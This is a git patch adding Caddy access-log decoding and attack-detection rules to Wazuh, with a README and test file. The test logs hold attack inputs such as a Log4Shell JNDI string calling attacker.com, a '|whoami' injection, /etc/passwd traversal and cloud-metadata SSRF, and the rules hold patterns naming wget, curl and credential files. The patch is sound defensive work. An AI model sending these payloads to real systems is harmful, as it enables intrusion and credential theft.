From dad5879a842a9c58af23a9140516b5ca52693ec1 Mon Sep 17 00:00:00 2001 From: newklei Date: Tue, 14 Jul 2026 00:57:17 -0400 Subject: [PATCH 1/3] Add Caddy web server decoder and detection rules for Wazuh 4.x --- integrations/caddy/README.md | 151 +++++++++ integrations/caddy/caddy.ini | 184 +++++++++++ .../caddy/ruleset/decoders/caddy_decoders.xml | 15 + .../caddy/ruleset/rules/caddy_rules.xml | 296 ++++++++++++++++++ integrations/caddy/sample_logs.txt | 19 ++ 5 files changed, 665 insertions(+) create mode 100644 integrations/caddy/README.md create mode 100644 integrations/caddy/caddy.ini create mode 100644 integrations/caddy/ruleset/decoders/caddy_decoders.xml create mode 100644 integrations/caddy/ruleset/rules/caddy_rules.xml create mode 100644 integrations/caddy/sample_logs.txt diff --git a/integrations/caddy/README.md b/integrations/caddy/README.md new file mode 100644 index 0000000..d55b596 --- /dev/null +++ b/integrations/caddy/README.md @@ -0,0 +1,151 @@ +# Caddy-Wazuh Integration + +## Table of Contents + +* [Introduction](#introduction) +* [Prerequisites](#prerequisites) +* [Installation and Configuration](#installation-and-configuration) + * [Installing Caddy](#installing-caddy) + * [Initial Caddy Configuration](#initial-caddy-configuration) + * [Installing Wazuh (if applicable)](#installing-wazuh-if-applicable) + * [Initial Wazuh Configuration (if applicable)](#initial-wazuh-configuration-if-applicable) + * [Using the Integration Files](#using-the-integration-files) +* [Integration Steps](#integration-steps) +* [Integration Testing](#integration-testing) +* [Sources](#sources) + +--- + +### Introduction + +Caddy (caddyserver.com) is a modern open source web server with automatic HTTPS. It writes structured JSON access logs by default with no extra configuration needed, and there was no coverage for it in the Wazuh ruleset. This integration adds a decoder and a set of detection rules that parse those logs and catch common web attacks and recon activity, things like path traversal, SQL injection, XSS, Log4Shell, credential file access, and dangerous file uploads. + +--- + +### Prerequisites + +* Wazuh manager 4.x, developed and tested against 4.14.5 and 4.14.6 +* Caddy web server configured to write JSON access logs +* Wazuh agent installed on the host running Caddy, or the logs forwarded to a location the manager can read + +--- + +### Installation and Configuration + +#### Installing Caddy + +Follow the official installation guide at https://caddyserver.com/docs/install for your platform. + +#### Initial Caddy Configuration + +Caddy needs to be told to write JSON access logs. Add this to your Caddyfile: + +``` +{ + log { + format json + } +} +``` + +A sample log line looks like this: + +```json +{"level":"info","ts":1700000000.0,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"10.0.0.1","remote_port":"12345","proto":"HTTP/1.1","method":"GET","host":"example.com","uri":"/","headers":{"User-Agent":["Mozilla/5.0"]}},"status":200,"size":1024,"duration":0.002} +``` + +#### Installing Wazuh (if applicable) + +A standard Wazuh 4.x installation is assumed. See the official installation guide at https://documentation.wazuh.com/current/installation-guide/index.html. + +#### Initial Wazuh Configuration (if applicable) + +No special manager configuration is needed beyond placing the decoder and rule files described below and pointing the agent at the Caddy log file. + +#### Using the Integration Files + +Copy the decoder and rules file into place on the Wazuh manager: + +```bash +cp ruleset/decoders/caddy_decoders.xml /var/ossec/etc/decoders/caddy_decoders.xml +cp ruleset/rules/caddy_rules.xml /var/ossec/etc/rules/caddy_rules.xml +chown wazuh:wazuh /var/ossec/etc/decoders/caddy_decoders.xml /var/ossec/etc/rules/caddy_rules.xml +chmod 640 /var/ossec/etc/decoders/caddy_decoders.xml /var/ossec/etc/rules/caddy_rules.xml +``` + +Then add a localfile block to the agent's ossec.conf so it reads the Caddy log: + +```xml + + json + /var/log/caddy/access.log + +``` + +Restart Wazuh for the changes to take effect: + +```bash +/var/ossec/bin/wazuh-control restart +``` + +--- + +### Integration Steps + +Once Caddy is writing JSON logs and the agent is configured to read them, every request Caddy handles gets forwarded to the Wazuh manager as a log event. The decoder recognizes the `http.log.access` logger field and extracts the request fields, remote IP, method, URI, user agent, and status. The rules then check those fields against known attack and recon patterns and raise an alert when one matches. + +A request like `GET /search?q=1 UNION SELECT username,password FROM users` gets caught by the SQL injection rule (996004), and a request for `/.env` gets caught by the sensitive path probe rule (996005). `sample_logs.txt` in this folder has more examples covering most of the rules. + +--- + +### Integration Testing + +This was tested using a Wazuh manager running in Docker (`wazuh/wazuh-manager:4.14.5`) and the `wazuh-logtest` tool. + +Load the rules into the container, restart, then feed the sample log lines through logtest: + +```bash +docker exec wazuh-test bash -c " + cp ruleset/rules/caddy_rules.xml /var/ossec/etc/rules/caddy_rules.xml && + cp ruleset/decoders/caddy_decoders.xml /var/ossec/etc/decoders/caddy_decoders.xml && + chown wazuh:wazuh /var/ossec/etc/rules/caddy_rules.xml /var/ossec/etc/decoders/caddy_decoders.xml && + /var/ossec/bin/wazuh-control restart +" +docker exec -i wazuh-test /var/ossec/bin/wazuh-logtest < sample_logs.txt +``` + +A sample logtest hit for the path traversal rule looks like this: + +``` +**Phase 3: Completed filtering (rules). + id: '996003' + level: '10' + description: 'Caddy: Path traversal attempt from 1.2.3.4' + groups: '['web', 'attack', 'path_traversal']' + firedtimes: '1' + mitre.id: '['T1083']' +``` + +I also wrote a full test file, `caddy.ini`, for the Wazuh core ruleset testing tool (`runtests.py`), covering 26 test cases across every non frequency based rule, all passing: + +``` +| File | Passed | Failed | Status | +|./tests/caddy.ini | 26 | 0 | ✅ | +``` + +Rules 996018, 996019, and 996022 are frequency based, they need multiple matching events within a time window to fire, so they were left out of the automated test file and need live traffic or a manual multi event test to trigger. + +--- + +### Sources + +* Caddy JSON access log format, https://caddyserver.com/docs/logging +* MITRE ATT&CK, https://attack.mitre.org/ + +## Provenance and Maintenance + +* Original source, written from scratch against Caddy's documented JSON access log format, no third party ruleset was adapted or copied. +* Adapted by, Anmol Vats (GitHub: NucleiAv) +* Tested versions, Wazuh manager 4.14.5 and 4.14.6, current Caddy JSON access log format as documented at caddyserver.com/docs/logging +* Maintainer, Anmol Vats (GitHub: NucleiAv) +* Support boundary, community maintained, provided as is diff --git a/integrations/caddy/caddy.ini b/integrations/caddy/caddy.ini new file mode 100644 index 0000000..d40f7a3 --- /dev/null +++ b/integrations/caddy/caddy.ini @@ -0,0 +1,184 @@ +; Copyright (C) 2015, Wazuh Inc. +; +; Tests for products: +; Caddy web server +; +; Sample logs source: +; Caddy HTTP server JSON access log (http.log.access) + +[Caddy: Base access log.] +log 1 pass = {"level":"info","ts":1781976027.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.1","remote_port":"12345","client_ip":"10.0.0.1","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":200,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/html"]}} +rule = 996000 +alert = 0 +decoder = json + +[Caddy: Path traversal attempt.] +log 1 pass = {"level":"info","ts":1781976028.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.2","remote_port":"12346","client_ip":"10.0.0.2","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/../etc/passwd","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":400,"resp_headers":{"Server":["Caddy"]}} +rule = 996003 +alert = 10 +decoder = json + +[Caddy: SQL injection attempt.] +log 1 pass = {"level":"info","ts":1781976029.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.3","remote_port":"12347","client_ip":"10.0.0.3","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/search?q=1 UNION SELECT username,password FROM users","headers":{"User-Agent":["sqlmap/1.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996004 +alert = 10 +decoder = json + +[Caddy: Sensitive path probe.] +log 1 pass = {"level":"info","ts":1781976030.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.4","remote_port":"12348","client_ip":"10.0.0.4","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/wp-admin","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":404,"resp_headers":{"Server":["Caddy"]}} +rule = 996005 +alert = 8 +decoder = json + +[Caddy: XSS attempt in URI.] +log 1 pass = {"level":"info","ts":1781976031.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.5","remote_port":"12349","client_ip":"10.0.0.5","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/search?q=%3Cscript%3Ealert(1)%3C/script%3E","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996008 +alert = 10 +decoder = json + +[Caddy: Command injection attempt.] +log 1 pass = {"level":"info","ts":1781976032.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.6","remote_port":"12350","client_ip":"10.0.0.6","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/page?input=test%7Cwhoami","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996009 +alert = 10 +decoder = json + +[Caddy: Known scanner tool detected.] +log 1 pass = {"level":"info","ts":1781976033.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.7","remote_port":"12351","client_ip":"10.0.0.7","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/","headers":{"User-Agent":["nikto/2.1.6"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996010 +alert = 8 +decoder = json + +[Caddy: HTTP TRACE method - possible cross-site tracing.] +log 1 pass = {"level":"info","ts":1781976034.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.8","remote_port":"12352","client_ip":"10.0.0.8","proto":"HTTP/1.1","method":"TRACE","host":"localhost:8080","uri":"/","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996011 +alert = 6 +decoder = json + +[Caddy: Log4Shell JNDI injection attempt.] +log 1 pass = {"level":"info","ts":1781976035.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.9","remote_port":"12353","client_ip":"10.0.0.9","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/?x=${jndi:ldap://attacker.com/a}","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996012 +alert = 15 +decoder = json + +[Caddy: Sensitive file access attempt.] +log 1 pass = {"level":"info","ts":1781976036.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.10","remote_port":"12354","client_ip":"10.0.0.10","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/wp-config.php","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996013 +alert = 8 +decoder = json + +[Caddy: Credential or private key file access.] +log 1 pass = {"level":"info","ts":1781976037.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.11","remote_port":"12355","client_ip":"10.0.0.11","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/.env","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996014 +alert = 12 +decoder = json + +[Caddy: Backup or database dump file access.] +log 1 pass = {"level":"info","ts":1781976038.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.12","remote_port":"12356","client_ip":"10.0.0.12","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/database.sql","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996015 +alert = 10 +decoder = json + +[Caddy: Source control artifact access.] +log 1 pass = {"level":"info","ts":1781976039.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.13","remote_port":"12357","client_ip":"10.0.0.13","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/.git/config","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996016 +alert = 10 +decoder = json + +[Caddy: Application log file access.] +log 1 pass = {"level":"info","ts":1781976040.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.14","remote_port":"12358","client_ip":"10.0.0.14","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/error.log","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996017 +alert = 8 +decoder = json + +[Caddy: Request for suspicious filename.] +log 1 pass = {"level":"info","ts":1781976041.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.15","remote_port":"12359","client_ip":"10.0.0.15","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/passwords.txt","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996020 +alert = 8 +decoder = json + +[Caddy: Authentication endpoint access.] +log 1 pass = {"level":"info","ts":1781976042.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.16","remote_port":"12360","client_ip":"10.0.0.16","proto":"HTTP/1.1","method":"POST","host":"localhost:8080","uri":"/login","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":401,"resp_headers":{"Server":["Caddy"]}} +rule = 996021 +alert = 3 +decoder = json + +# Can't yet test frequency +;[Caddy: Possible brute force - repeated auth endpoint hits.] +; +;rule = 996022 +;alert = 10 +;decoder = json + +[Caddy: Encoding evasion / WAF bypass attempt.] +log 1 pass = {"level":"info","ts":1781976043.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.1.0.1","remote_port":"12361","client_ip":"10.1.0.1","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/..%c0%ae/etc/passwd","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996023 +alert = 10 +decoder = json + +[Caddy: LFI/RFI file inclusion attempt.] +log 1 pass = {"level":"info","ts":1781976044.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.1.0.2","remote_port":"12362","client_ip":"10.1.0.2","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/page?file=php://filter/convert.base64-encode/resource=index.php","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996024 +alert = 12 +decoder = json + +[Caddy: SSRF attempt targeting internal resource.] +log 1 pass = {"level":"info","ts":1781976045.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.1.0.3","remote_port":"12363","client_ip":"10.1.0.3","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/fetch?url=http://169.254.169.254/latest/meta-data/","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996025 +alert = 12 +decoder = json + +[Caddy: GraphQL introspection or API schema probe.] +log 1 pass = {"level":"info","ts":1781976046.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.1.0.4","remote_port":"12364","client_ip":"10.1.0.4","proto":"HTTP/1.1","method":"POST","host":"localhost:8080","uri":"/graphql?query=__schema{types{name}}","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996026 +alert = 8 +decoder = json + +[Caddy: Unusual or dangerous HTTP method.] +log 1 pass = {"level":"info","ts":1781976047.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.1.0.5","remote_port":"12365","client_ip":"10.1.0.5","proto":"HTTP/1.1","method":"DEBUG","host":"localhost:8080","uri":"/","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996027 +alert = 8 +decoder = json + +[Caddy: Suspicious User-Agent - empty or oversized.] +log 1 pass = {"level":"info","ts":1781976047.5,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.1.0.5","remote_port":"12366","client_ip":"10.1.0.5","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/","headers":{"User-Agent":[],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996028 +alert = 6 +decoder = json + +[Caddy: Dangerous file upload attempt.] +log 1 pass = {"level":"info","ts":1781976048.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.1.0.6","remote_port":"12367","client_ip":"10.1.0.6","proto":"HTTP/1.1","method":"POST","host":"localhost:8080","uri":"/uploads/shell.php","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996029 +alert = 12 +decoder = json + +[Caddy: Oversized URI - possible fuzzing.] +log 1 pass = {"level":"info","ts":1781976049.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.1.0.7","remote_port":"12368","client_ip":"10.1.0.7","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/search?q=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996030 +alert = 8 +decoder = json + +[Caddy: Double extension bypass upload attempt.] +log 1 pass = {"level":"info","ts":1781976050.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.2.0.1","remote_port":"12369","client_ip":"10.2.0.1","proto":"HTTP/1.1","method":"POST","host":"localhost:8080","uri":"/uploads/shell.php.jpg","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996031 +alert = 13 +decoder = json + +[Caddy: Archive or macro-enabled file upload.] +log 1 pass = {"level":"info","ts":1781976051.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.2.0.2","remote_port":"12370","client_ip":"10.2.0.2","proto":"HTTP/1.1","method":"POST","host":"localhost:8080","uri":"/uploads/malware.docm","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"]}} +rule = 996032 +alert = 8 +decoder = json + +# Can't yet test frequency +;[Caddy: Directory enumeration - repeated sensitive path probes.] +; +;rule = 996018 +;alert = 14 +;decoder = json + +# Can't yet test frequency +;[Caddy: Aggressive scanning - repeated path traversal attempts.] +; +;rule = 996019 +;alert = 14 +;decoder = json diff --git a/integrations/caddy/ruleset/decoders/caddy_decoders.xml b/integrations/caddy/ruleset/decoders/caddy_decoders.xml new file mode 100644 index 0000000..10661c4 --- /dev/null +++ b/integrations/caddy/ruleset/decoders/caddy_decoders.xml @@ -0,0 +1,15 @@ + + + + "logger":"http\.log\.access + + + + caddy + JSON_Decoder + diff --git a/integrations/caddy/ruleset/rules/caddy_rules.xml b/integrations/caddy/ruleset/rules/caddy_rules.xml new file mode 100644 index 0000000..b5e964a --- /dev/null +++ b/integrations/caddy/ruleset/rules/caddy_rules.xml @@ -0,0 +1,296 @@ + + + + + + + + http\.log\.access + Caddy web server access log. + + + + 996000 + (?i)(\.\./|\.\.\\|%2e%2e|%252e%252e) + Caddy: Path traversal attempt from $(request.remote_ip) + web,attack,path_traversal, + + T1083 + + + + + 996000 + (?i)(union.+select|select.+from|insert.+into|drop.+table|(%27|')(\s|%20)*(or)(\s|%20)+|(\s|%20)(or)(\s|%20)+1(\s|%20)*(%3D|=)(\s|%20)*1) + Caddy: SQL injection attempt from $(request.remote_ip) + web,attack,sql_injection, + + T1190 + + + + + 996000 + (?i)(\/\.env$|\/\.git|\/wp-admin|\/phpmyadmin|\/admin\.php|\/config\.php|\/backup) + Caddy: Sensitive path probe from $(request.remote_ip) - $(request.uri) + web,recon, + + T1595 + + + + + 996000 + (?i)(%3Cscript|<script|javascript:|onerror=|onload=|alert\(|document\.cookie|eval\() + Caddy: XSS attempt in URI from $(request.remote_ip) + web,attack,xss, + + T1059.007 + + + + + 996000 + (?i)(%7C|%60|\||\`).*?(ls|id|whoami|cat\s|wget\s|curl\s|bash|/bin/sh|cmd\.exe) + Caddy: Command injection attempt from $(request.remote_ip) + web,attack,command_injection, + + T1059 + + + + + 996000 + (?i)(sqlmap|nikto|nmap|masscan|nuclei|gobuster|dirbuster|wfuzz|acunetix|nessus|openvas|zgrab|whatweb) + Caddy: Known attack or scanner tool detected from $(request.remote_ip) + web,recon,scan, + + T1595 + + + + + 996000 + TRACE|TRACK + Caddy: HTTP TRACE/TRACK method from $(request.remote_ip) - possible cross-site tracing + web,attack, + + T1190 + + + + + 996000 + (?i)(\$\{jndi:|%24%7Bjndi%3A|%24%7Bjndi:) + Caddy: Log4Shell JNDI injection attempt from $(request.remote_ip) + web,attack, + + T1190 + + + + + 996000 + (?i)(\/xmlrpc\.php|\/\.htaccess|\/\.htpasswd|\/wp-config\.php|\/config\.php|\/backup|\/dump\.sql|\/proc\/self|\/etc\/shadow) + Caddy: Sensitive file access attempt from $(request.remote_ip) - $(request.uri) + web,recon, + + T1083 + + + + + 996000 + (?i)(\/\.env(\.|$|\/)|\/id_rsa|\/id_dsa|\/id_ed25519|\/id_ecdsa|credentials?\.json|credentials?\.xml|secrets?\.json|secrets?\.ya?ml|jwt\.(pem|secret)|private\.key|oauth\.json|token\.json|authorized_keys|known_hosts|\.p12$|\.pfx$|\.pem$|\.key$) + Caddy: Credential or private key file access from $(request.remote_ip) - $(request.uri) + web,attack,credential_access, + + T1552.001 + + + + + 996000 + (?i)\.(bak|backup|old|orig|save|swp|sql|dump|sqlite|db|mdb|tar\.gz|tar\.bz2|tgz|7z|rar)(\?|$) + Caddy: Backup or database dump file access from $(request.remote_ip) - $(request.uri) + web,recon, + + T1530 + + + + + 996000 + (?i)(\/\.git(\/|$)|\/\.svn\/|\/\.hg\/|\/\.gitignore|\/\.gitattributes|\/\.gitmodules) + Caddy: Source control artifact access from $(request.remote_ip) - $(request.uri) + web,recon, + + T1213 + + + + + 996000 + (?i)\/(error|access|debug|app|application|server|system|audit|exception)\.(log|txt|out)(\?|$) + Caddy: Application log file access from $(request.remote_ip) - $(request.uri) + web,recon, + + T1083 + + + + + 996000 + (?i)\/(password|passwd|secret|confidential|credential|private|token|apikey|api[_-]key|auth)[^/]*(\.[a-z]{1,5})?$ + Caddy: Request for suspicious filename from $(request.remote_ip) - $(request.uri) + web,recon, + + T1083 + + + + + 996000 + (?i)\/(login|signin|sign-in|logon|auth|authenticate|wp-login\.php|admin\/login|account\/login|session\/new|user\/login|api\/login|api\/auth|oauth\/token|token)(\/|\?|$) + Caddy: Authentication endpoint access from $(request.remote_ip) + web,authentication, + + + + 996021 + request.remote_ip + Caddy: Possible brute force - repeated auth endpoint hits from $(request.remote_ip) + web,attack,brute_force, + + T1110 + + + + + 996000 + (?i)(%c0%ae|%c0%2f|%c1%9c|%uff0e|%u2215|%u002f|%252f|%255c|\.\.%ef%bc%8f|\.\.%c0%af) + Caddy: Encoding evasion / WAF bypass attempt from $(request.remote_ip) + web,attack,evasion, + + T1027 + + + + + 996000 + (?i)(php://|phar://|data://|expect://|zip://|glob://|file://|gopher://|dict://|\.(php|phtml|phar)\b.*=) + Caddy: LFI/RFI file inclusion attempt from $(request.remote_ip) - $(request.uri) + web,attack,lfi, + + T1190 + + + + + 996000 + (?i)(169\.254\.169\.254|metadata\.google\.internal|metadata/instance|169\.254\.170\.2|100\.100\.100\.200|[?&][^&]*=https?://(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|localhost)|[?&][^&]*=https?://[^/]*\.(internal|local|corp|intranet)) + Caddy: SSRF attempt targeting internal resource from $(request.remote_ip) - $(request.uri) + web,attack,ssrf, + + T1090 + + + + + 996000 + (?i)(\/graphql|\/graphiql|\/gql|__schema|__type|__typename|introspectionquery) + Caddy: GraphQL introspection or API schema probe from $(request.remote_ip) + web,recon,api, + + T1595.002 + + + + + 996000 + ^(CONNECT|DEBUG|MOVE|COPY|PROPFIND|PROPPATCH|MKCOL|LOCK|UNLOCK|BREW|TEST|FUZZ|SEARCH|PURGE)$ + Caddy: Unusual or dangerous HTTP method from $(request.remote_ip) - $(request.method) + web,attack,protocol_abuse, + + T1190 + + + + + 996000 + ^(\[\]|''|-)$|^.{500,} + Caddy: Suspicious User-Agent (empty or oversized) from $(request.remote_ip) + web,recon, + + T1036 + + + + + 996000 + (?i)(\/upload|\/uploads|\/files|\/media|\/assets|\/static)[^?]*\.(php[0-9]?|phtml|phar|asp|aspx|jsp|jspx|cfm|cgi|pl|py|rb|sh|exe|dll|bat|cmd|vbs|ps1) + Caddy: Dangerous file upload attempt from $(request.remote_ip) - $(request.uri) + web,attack,upload, + + T1190 + + + + + 996000 + ^.{1000,} + Caddy: Oversized URI detected from $(request.remote_ip) - possible fuzzing + web,recon,scan, + + T1595.002 + + + + + 996000 + (?i)(\/upload|\/uploads|\/files|\/media|\/assets|\/static)[^?]*\.(php[0-9]?|phtml|phar|asp|aspx|jsp|jspx|cfm|cgi|pl|py|rb|sh|exe|dll|bat|cmd|vbs|ps1)\.[a-z]{2,4}(\?|$) + Caddy: Double extension bypass upload attempt from $(request.remote_ip) - $(request.uri) + web,attack,upload,evasion, + + T1190 + + + + + 996000 + (?i)(\/upload|\/uploads|\/files|\/media|\/assets|\/static)[^?]*\.(zip|rar|7z|tar|gz|tgz|iso|img|docm|xlsm|pptm|xlam|svg)(\?|$) + Caddy: Archive or macro-enabled file upload from $(request.remote_ip) - $(request.uri) + web,recon,upload, + + T1566.001 + + + + + 996005 + request.remote_ip + Caddy: Directory enumeration detected - repeated sensitive path probes from $(request.remote_ip) + web,attack,scan, + + T1595.001 + + + + + 996003 + request.remote_ip + Caddy: Aggressive scanning - repeated path traversal attempts from $(request.remote_ip) + web,attack,brute_force, + + T1110 + + + + diff --git a/integrations/caddy/sample_logs.txt b/integrations/caddy/sample_logs.txt new file mode 100644 index 